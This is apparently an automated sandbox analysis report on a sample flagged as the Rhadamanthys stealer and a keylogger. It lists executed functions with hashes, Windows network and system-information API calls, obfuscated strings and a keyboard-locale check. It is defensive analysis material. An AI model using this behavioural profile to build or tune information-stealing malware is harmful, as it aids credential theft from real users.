Yara matches:	Rule: JoeSecurity_Keylogger_Generic, Description: Yara detected Keylogger Generic, Source: 00000032.00000003.2773698630.0000000005CB0000.00000004.00000001.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_RHADAMANTHYS, Description: Yara detected RHADAMANTHYS Stealer, Source: 00000032.00000003.2771544130.0000000003250000.00000004.00001000.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_Keylogger_Generic, Description: Yara detected Keylogger Generic, Source: 00000032.00000003.2773531840.0000000005A90000.00000004.00000001.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_RHADAMANTHYS, Description: Yara detected RHADAMANTHYS Stealer, Source: 00000032.00000003.2774274912.0000000005590000.00000040.00001000.00020000.00000000.sdmp, Author: Joe Security
Antivirus matches:	Detection: 100%, Joe Sandbox ML
Has exited:	true

Show Windows behavior

Function 050A07DB Relevance: .1, Instructions: 51COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1755101760.00000000050A0000.00000040.00001000.00020000.00000000.sdmp, Offset: 050A0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_50a0000_file.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 0b6caa45916ac336879422f4bbbcff8eb33c8abf2821012178a0a65146962072
Instruction ID: f58bf592609e73697d92a2687f6f90a1c16076beac175bce8b032567aa920d60
Opcode Fuzzy Hash: 0b6caa45916ac336879422f4bbbcff8eb33c8abf2821012178a0a65146962072
Instruction Fuzzy Hash: AFF0E2EB588069BC6102D1C13B2CAFE6B2EE5C2B303304826F843C5002F2854E4E20F8

Function 050A07D2 Relevance: .0, Instructions: 48COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1755101760.00000000050A0000.00000040.00001000.00020000.00000000.sdmp, Offset: 050A0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_50a0000_file.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 9c4fccfa43ed36fb6592de390939e8a8441a6fccce298d6385260291cda6843e
Instruction ID: e6d04c554d7940a53d56476077c91d31f10c1e3355103ac81d3a70e748b28b42
Opcode Fuzzy Hash: 9c4fccfa43ed36fb6592de390939e8a8441a6fccce298d6385260291cda6843e
Instruction Fuzzy Hash: 27F082EB558015BC6102C6C23A6CAFE662EF4C1B343318836F487C5001F2894E0D25F8

Function 050A07F8 Relevance: .0, Instructions: 35COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1755101760.00000000050A0000.00000040.00001000.00020000.00000000.sdmp, Offset: 050A0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_50a0000_file.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 8411895bd9b5d0c70eb88e2a9df14e1438174b35b980106094bbfcee7b416a8f
Instruction ID: 549f481b77652ba0e40138048f9595ffaca49817a76db74bfb1c59ceca1e7787
Opcode Fuzzy Hash: 8411895bd9b5d0c70eb88e2a9df14e1438174b35b980106094bbfcee7b416a8f
Instruction Fuzzy Hash: 81E061F7508145AF9101D1E17ABC7FE6729E7C0B303305825F48696041F24A494990F4

Function 050A0813 Relevance: .0, Instructions: 33COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1755101760.00000000050A0000.00000040.00001000.00020000.00000000.sdmp, Offset: 050A0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_50a0000_file.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 85920820a588adae5fc396d66b09acd6147b8862f1598233cfe36cc7fc508c0c
Instruction ID: 032e832f8cfae2fac72e9bd5279df6a004a08374f49aa013b0a606e72341ef0b
Opcode Fuzzy Hash: 85920820a588adae5fc396d66b09acd6147b8862f1598233cfe36cc7fc508c0c
Instruction Fuzzy Hash: FEE0D8F7949444BE924185D1B86CAFDBB39FAC0A34331486AF48285005F2598509A5BA

Non-executed Functions

Function 050A0C70 Relevance: .1, Instructions: 83COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1755101760.00000000050A0000.00000040.00001000.00020000.00000000.sdmp, Offset: 050A0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_50a0000_file.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: cb6b31d803d8ea819f04060bc63f17a21f80c238bcd314f0bbb093edf66f0218
Instruction ID: 9b2d9672f91b595e067729a10463e69702530353310395dd04451c45f56bb551
Opcode Fuzzy Hash: cb6b31d803d8ea819f04060bc63f17a21f80c238bcd314f0bbb093edf66f0218
Instruction Fuzzy Hash: 270180FB20C6087EF115DA817B289FF77BEEAE2330330843AF442D2502E6A55E4A4131

Analysis Process: skotes.exePID: 7624, Parent PID: 1044COMMON

Execution Graph

Execution Coverage:	9.6%
Dynamic/Decrypted Code Coverage:	0%
Signature Coverage:	6.1%
Total number of Nodes:	1299
Total number of Limit Nodes:	42

Executed Functions

Function 002EBE30 Relevance: 23.1, APIs: 7, Strings: 6, Instructions: 313
networkfilesleepCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Sleep.KERNEL32(000005DC), ref: 002EBEB8
InternetOpenW.WININET(00338DC8,00000000,00000000,00000000,00000000), ref: 002EBEC8
InternetConnectA.WININET(00000000,?,00000050,00000000,00000000,00000003,00000000,00000001), ref: 002EBEEB
HttpOpenRequestA.WININET(?,00000000), ref: 002EBF36
HttpSendRequestA.WININET(?,00000000), ref: 002EBFF6
InternetReadFile.WININET(?,?,000003FF,?), ref: 002EC0A8
InternetReadFile.WININET(?,?,000003FF,?,?,?,?,?), ref: 002EC161
InternetCloseHandle.WININET(?), ref: 002EC187
InternetCloseHandle.WININET(?), ref: 002EC18F
InternetCloseHandle.WININET(?), ref: 002EC197

Strings

8HJUeMD Lq5=, xrefs: 002EC465
8HJUeIfzLo==, xrefs: 002EC3CB, 002EC623
invalid stoi argument, xrefs: 002EE4F4
stoi argument out of range, xrefs: 002EE4EA
RmNn, xrefs: 002ED606
RE1NXF==, xrefs: 002EBF0E

Memory Dump Source

Source File: 00000006.00000002.2966984378.00000000002E1000.00000040.00000001.01000000.00000007.sdmp, Offset: 002E0000, based on PE: true

Associated: 00000006.00000002.2966847268.00000000002E0000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2966984378.0000000000342000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2967300898.0000000000349000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2967381283.000000000034B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2967381283.00000000004D0000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2967381283.00000000005B4000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2967381283.00000000005E4000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2967381283.00000000005ED000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2967381283.00000000005FB000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2968539751.00000000005FC000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2968813147.000000000079C000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2968836845.000000000079E000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_2e0000_skotes.jbxd

Yara matches

Similarity

API ID: Internet$CloseHandle$FileHttpOpenReadRequest$ConnectSendSleep
String ID: 8HJUeIfzLo==$8HJUeMD Lq5=$RE1NXF==$RmNn$invalid stoi argument$stoi argument out of range
API String ID: 1439999335-2254971868
Opcode ID: 5dee8eb91b0a2f4265e3aa96f8aa2536b58744abf293e0cf8bfd4bdbde2afeec
Instruction ID: 1f273047d6764263a0986492577b6cebf0c3c7e0485aa72df61fdd31d022d362
Opcode Fuzzy Hash: 5dee8eb91b0a2f4265e3aa96f8aa2536b58744abf293e0cf8bfd4bdbde2afeec
Instruction Fuzzy Hash: 64B117B15201589BDB28CF69CC84BEEBBB9EF45304F9041A9F908972C1DB719AD1CF94

Function 002E65E0 Relevance: 7.3, APIs: 1, Strings: 3, Instructions: 257
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

LookupAccountNameA.ADVAPI32(00000000,?,?,?,?,?,?), ref: 002E6680

Strings

ISNmfV==, xrefs: 002E67D1
GSTmfV==, xrefs: 002E6728
RySfdMLx, xrefs: 002E669C

Memory Dump Source

Source File: 00000006.00000002.2966984378.00000000002E1000.00000040.00000001.01000000.00000007.sdmp, Offset: 002E0000, based on PE: true

Associated: 00000006.00000002.2966847268.00000000002E0000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2966984378.0000000000342000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2967300898.0000000000349000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2967381283.000000000034B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2967381283.00000000004D0000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2967381283.00000000005B4000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2967381283.00000000005E4000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2967381283.00000000005ED000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2967381283.00000000005FB000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2968539751.00000000005FC000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2968813147.000000000079C000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2968836845.000000000079E000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_2e0000_skotes.jbxd

Yara matches

Similarity

API ID: AccountLookupName
String ID: GSTmfV==$ISNmfV==$RySfdMLx
API String ID: 1484870144-2309319047
Opcode ID: 5b91e57887e52facd115a856111a4d7836c1bc68c8b0a8b4ddb47f7ae83c79c0
Instruction ID: 3f24c8912e75e646eb959a08ead97e5307e621c4eb8c00bbf5490b2924ed05b4
Opcode Fuzzy Hash: 5b91e57887e52facd115a856111a4d7836c1bc68c8b0a8b4ddb47f7ae83c79c0
Instruction Fuzzy Hash: B191E6B191015C9BDB29DF24CC89BEDB779EB45304F8045E9E50997282DB309BD8CFA4

Function 002FD3E2 Relevance: .2, Instructions: 172COMMON

Download Yara Rule

APIs

___std_exception_copy.LIBVCRUNTIME ref: 002E24BE

Memory Dump Source

Source File: 00000006.00000002.2966984378.00000000002E1000.00000040.00000001.01000000.00000007.sdmp, Offset: 002E0000, based on PE: true

Associated: 00000006.00000002.2966847268.00000000002E0000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2966984378.0000000000342000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2967300898.0000000000349000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2967381283.000000000034B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2967381283.00000000004D0000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2967381283.00000000005B4000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2967381283.00000000005E4000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2967381283.00000000005ED000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2967381283.00000000005FB000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2968539751.00000000005FC000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2968813147.000000000079C000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2968836845.000000000079E000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_2e0000_skotes.jbxd

Yara matches

Similarity

API ID: ___std_exception_copy
String ID:
API String ID: 2659868963-0
Opcode ID: 4d88988332c2c30ace0008f16cc791571c98a337d3cbad7fa946b7b85ce562ca
Instruction ID: 70fe4f04e237937e7d65afd2ba8e4ee91087055ef97510dc1242f962719e51c9
Opcode Fuzzy Hash: 4d88988332c2c30ace0008f16cc791571c98a337d3cbad7fa946b7b85ce562ca
Instruction Fuzzy Hash: 2B51DE76D2060A8BDB26CF58D8857AAB7F6FB48350F20817AE605EB251D770AD50CF90

Function 002F2F10 Relevance: 21.9, APIs: 1, Strings: 11, Instructions: 910
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

WTw=, xrefs: 002F2F5E
WGpm, xrefs: 002F3CC9
invalid stoi argument, xrefs: 002F434A
Hykl, xrefs: 002F387F
stoi argument out of range, xrefs: 002F4359
246122658369, xrefs: 002F2F78
5120, xrefs: 002F3BAF, 002F3C9A
V2Te, xrefs: 002F3EB0
", xrefs: 002F3F89
Fw==, xrefs: 002F378E
WX f, xrefs: 002F3BDE

Memory Dump Source

Source File: 00000006.00000002.2966984378.00000000002E1000.00000040.00000001.01000000.00000007.sdmp, Offset: 002E0000, based on PE: true

Associated: 00000006.00000002.2966847268.00000000002E0000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2966984378.0000000000342000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2967300898.0000000000349000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2967381283.000000000034B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2967381283.00000000004D0000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2967381283.00000000005B4000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2967381283.00000000005E4000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2967381283.00000000005ED000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2967381283.00000000005FB000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2968539751.00000000005FC000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2968813147.000000000079C000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2968836845.000000000079E000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_2e0000_skotes.jbxd

Yara matches

Similarity

API ID: Cnd_destroy_in_situCnd_unregister_at_thread_exitMtx_destroy_in_situ
String ID: "$246122658369$5120$Fw==$Hykl$V2Te$WGpm$WTw=$WX f$invalid stoi argument$stoi argument out of range
API String ID: 4078500453-1402436090
Opcode ID: bb0a122582e92a31779ed32b44c73723acff200769c598e71b8f71ba43c92223
Instruction ID: 493bc67ec80e651aa7f355ec9a9b7546b75e0cf0c7bd923b0cce306dade5a5a5
Opcode Fuzzy Hash: bb0a122582e92a31779ed32b44c73723acff200769c598e71b8f71ba43c92223
Instruction Fuzzy Hash: 71723671A2024C9BDF08EF68CD467AEFBB5AF45340F5041A8E504A7382D7759BA48F92

Function 002E5EE0 Relevance: 12.6, APIs: 2, Strings: 5, Instructions: 340
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

00000423, xrefs: 002E60FA
00000422, xrefs: 002E60C9
Keyboard Layout\Preload, xrefs: 002E6054
00000419, xrefs: 002E6098
0000043f, xrefs: 002E612B

Memory Dump Source

Source File: 00000006.00000002.2966984378.00000000002E1000.00000040.00000001.01000000.00000007.sdmp, Offset: 002E0000, based on PE: true

Associated: 00000006.00000002.2966847268.00000000002E0000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2966984378.0000000000342000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2967300898.0000000000349000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2967381283.000000000034B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2967381283.00000000004D0000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2967381283.00000000005B4000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2967381283.00000000005E4000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2967381283.00000000005ED000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2967381283.00000000005FB000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2968539751.00000000005FC000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2968813147.000000000079C000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2968836845.000000000079E000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_2e0000_skotes.jbxd

Yara matches

Similarity

API ID:
String ID: 00000419$00000422$00000423$0000043f$Keyboard Layout\Preload
API String ID: 0-3963862150
Opcode ID: c27d3781e24bf3ea399d34f7c0222629b3731dc569ab1a55dd5dfd44e427af11
Instruction ID: 5accea4ff513c861374dd702bf392f4dffddb13f0b709ae8906adcb991c606fa
Opcode Fuzzy Hash: c27d3781e24bf3ea399d34f7c0222629b3731dc569ab1a55dd5dfd44e427af11
Instruction Fuzzy Hash: B1D1F0709502589BEB24DF14CC88BEEB779EF15340F9042E8F508E7281DB74ABA48F94

Function 002E7D30 Relevance: 9.2, APIs: 1, Strings: 4, Instructions: 426
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetNativeSystemInfo.KERNEL32(?), ref: 002E7ED3

Strings

JjssPV==, xrefs: 002E81E2
JjsrQV==, xrefs: 002E8092
JjssOl==, xrefs: 002E813A
JjsrPl==, xrefs: 002E828A

Memory Dump Source

Source File: 00000006.00000002.2966984378.00000000002E1000.00000040.00000001.01000000.00000007.sdmp, Offset: 002E0000, based on PE: true

Associated: 00000006.00000002.2966847268.00000000002E0000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2966984378.0000000000342000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2967300898.0000000000349000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2967381283.000000000034B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2967381283.00000000004D0000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2967381283.00000000005B4000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2967381283.00000000005E4000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2967381283.00000000005ED000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2967381283.00000000005FB000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2968539751.00000000005FC000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2968813147.000000000079C000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2968836845.000000000079E000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_2e0000_skotes.jbxd

Yara matches

Similarity

API ID: InfoNativeSystem
String ID: JjsrPl==$JjsrQV==$JjssOl==$JjssPV==
API String ID: 1721193555-3123340372
Opcode ID: 83cfe9a679eeafa0791639b991020bf31a6c0447eb48c2e2c03f090348ae58ff
Instruction ID: f6a220d6bbc15acd09e6d73fe981d2c61c39bbc8d77020d808ede2d5343e36a4
Opcode Fuzzy Hash: 83cfe9a679eeafa0791639b991020bf31a6c0447eb48c2e2c03f090348ae58ff
Instruction Fuzzy Hash: CFE12970E602949BDB15BB29CD073AE7771AB46724FD4029CE4196B3C2DB345EA08FC2

Function 002F8F40 Relevance: 1.7, APIs: 1, Instructions: 197
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Memory Dump Source

Source File: 00000006.00000002.2966984378.00000000002E1000.00000040.00000001.01000000.00000007.sdmp, Offset: 002E0000, based on PE: true

Associated: 00000006.00000002.2966847268.00000000002E0000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2966984378.0000000000342000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2967300898.0000000000349000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2967381283.000000000034B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2967381283.00000000004D0000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2967381283.00000000005B4000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2967381283.00000000005E4000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2967381283.00000000005ED000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2967381283.00000000005FB000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2968539751.00000000005FC000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2968813147.000000000079C000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2968836845.000000000079E000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_2e0000_skotes.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 1334b3a6485e4b17cdcdc8be9e24e1f4aa3e0eca4969e05e2362bb56b7a262a5
Instruction ID: 47eda1bded972fba736cbaea18bc18d9b4c339c64131585bee8d4c0413048bf9
Opcode Fuzzy Hash: 1334b3a6485e4b17cdcdc8be9e24e1f4aa3e0eca4969e05e2362bb56b7a262a5
Instruction Fuzzy Hash: 9451397291010D9FCB19DFA8CC81AAEF7A9EF44340B104679FA05DB341EB71ED608B91

Function 002E8B30 Relevance: 1.6, APIs: 1, Instructions: 140
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetTempPathA.KERNEL32(00000104,?,5F2D6EA2,?,00000000), ref: 002E8B77

Memory Dump Source

Source File: 00000006.00000002.2966984378.00000000002E1000.00000040.00000001.01000000.00000007.sdmp, Offset: 002E0000, based on PE: true

Associated: 00000006.00000002.2966847268.00000000002E0000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2966984378.0000000000342000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2967300898.0000000000349000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2967381283.000000000034B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2967381283.00000000004D0000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2967381283.00000000005B4000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2967381283.00000000005E4000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2967381283.00000000005ED000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2967381283.00000000005FB000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2968539751.00000000005FC000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2968813147.000000000079C000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2968836845.000000000079E000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_2e0000_skotes.jbxd

Yara matches

Similarity

API ID: PathTemp
String ID:
API String ID: 2920410445-0
Opcode ID: 36c89c0c9495c0c88ca4b46ca628653d82a4e7a177ef46771dd1b3fa090af191
Instruction ID: 96581b51821183f63886cee5327954af7c2645cc0fa81083362d509562c8e5db
Opcode Fuzzy Hash: 36c89c0c9495c0c88ca4b46ca628653d82a4e7a177ef46771dd1b3fa090af191
Instruction Fuzzy Hash: 5251E1719101588BDB28DF28CC85BEDB7B9EB46310F5082E9E44DA7281DB356F94CF91

Function 0031B04B Relevance: 1.5, APIs: 1, Instructions: 33
memoryCOMMONLIBRARYCODE

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

RtlAllocateHeap.NTDLL(00000000,5F2D6EA2,?,?,002FD3FC,5F2D6EA2,?,002F7A8B,?,?,?,?,?,?,002E7465,?), ref: 0031B07E

Memory Dump Source

Source File: 00000006.00000002.2966984378.00000000002E1000.00000040.00000001.01000000.00000007.sdmp, Offset: 002E0000, based on PE: true

Associated: 00000006.00000002.2966847268.00000000002E0000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2966984378.0000000000342000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2967300898.0000000000349000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2967381283.000000000034B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2967381283.00000000004D0000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2967381283.00000000005B4000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2967381283.00000000005E4000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2967381283.00000000005ED000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2967381283.00000000005FB000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2968539751.00000000005FC000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2968813147.000000000079C000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2968836845.000000000079E000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_2e0000_skotes.jbxd

Yara matches

Similarity

API ID: AllocateHeap
String ID:
API String ID: 1279760036-0
Opcode ID: 0481c262f2518646e0e0b2b347f11a764c1b7ab2bc50920840a13e81b92d7d47
Instruction ID: aadba299df2a432ea401de4118d7196de9418cf9275188582b98ca05c27dbe98
Opcode Fuzzy Hash: 0481c262f2518646e0e0b2b347f11a764c1b7ab2bc50920840a13e81b92d7d47
Instruction Fuzzy Hash: E9E06D35641226A6EA3B36759C41BEBE64C9B4E3A0F171211AD689A190EB60DCC085E1

Function 04D00D2C Relevance: 1.3, Strings: 1, Instructions: 46
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

kX, xrefs: 04D00CFA

Memory Dump Source

Source File: 00000006.00000002.2973591282.0000000004D00000.00000040.00001000.00020000.00000000.sdmp, Offset: 04D00000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_4d00000_skotes.jbxd

Similarity

API ID:
String ID: kX
API String ID: 0-3007011362
Opcode ID: 1b7fd889a62fecebdb68209c7e00177ac59e7f2f71dcaf057d9055a7b901cdc3
Instruction ID: 61eee9ae840c109c247a60737c22862d7ba223b34370032a5732c5116a3fdb60
Opcode Fuzzy Hash: 1b7fd889a62fecebdb68209c7e00177ac59e7f2f71dcaf057d9055a7b901cdc3
Instruction Fuzzy Hash: 4FF0979738E410BD4293C0A136123F22F5AA576230331C823E4C7CBD81F444FE42B271

Function 04D00B61 Relevance: .1, Instructions: 107COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000006.00000002.2973591282.0000000004D00000.00000040.00001000.00020000.00000000.sdmp, Offset: 04D00000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_4d00000_skotes.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: cbe8cf25550905754258557740f1ec9f247fcac169ab57a4c275da1872670559
Instruction ID: 4ca5e91707859e975a0076bce5e12c0ee1e7a00edaea849bca91806b6350181e
Opcode Fuzzy Hash: cbe8cf25550905754258557740f1ec9f247fcac169ab57a4c275da1872670559
Instruction Fuzzy Hash: 6D21069630E291FED38381917654BB62F69A697230734C0A7E4CBCB6C2F144B545A336

Function 04D00BF2 Relevance: .1, Instructions: 98COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000006.00000002.2973591282.0000000004D00000.00000040.00001000.00020000.00000000.sdmp, Offset: 04D00000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_4d00000_skotes.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 00c830c56307dbd5cfe722a1b853b9cd8559273ee795381fcaefd3118870130c
Instruction ID: 5f3824a9cb4cc644bc83b365987578f82cff43b035c85e4a0a82f234d292f184
Opcode Fuzzy Hash: 00c830c56307dbd5cfe722a1b853b9cd8559273ee795381fcaefd3118870130c
Instruction Fuzzy Hash: 1F2168A274F281FEC293859476507F63B68E997330320C0A7E0C7CBA82F154BA45A335

Function 04D00C29 Relevance: .1, Instructions: 82COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000006.00000002.2973591282.0000000004D00000.00000040.00001000.00020000.00000000.sdmp, Offset: 04D00000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_4d00000_skotes.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: d67694a6f125b31e2025ab0e592b78896077fd66722951bbdfaa3554640e940f
Instruction ID: 3a16bdc1b1abb255f66bc6df894c7e4d79a7ea3200b0002d0dd9c3aa9517f988
